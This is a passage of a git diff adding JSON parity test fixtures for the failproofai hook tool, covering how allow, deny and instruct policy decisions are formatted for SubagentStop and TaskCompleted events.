"parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..eb964c29 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..61827abf --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..636fa14d --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..59f4c9a4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..1b64c8a5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..66fb58f3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a7ddb847 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d00d4205 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..60406ac9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..bcc15cb9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..354c043a --- /dev/null +++ b/__tests__/parity/fixtures/factory/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..114ef968 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ae54e99e --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..af9d9854 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..9fbebb82 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b976952f --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ad0a7ddc --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4441b4d0 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8db9d132 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + 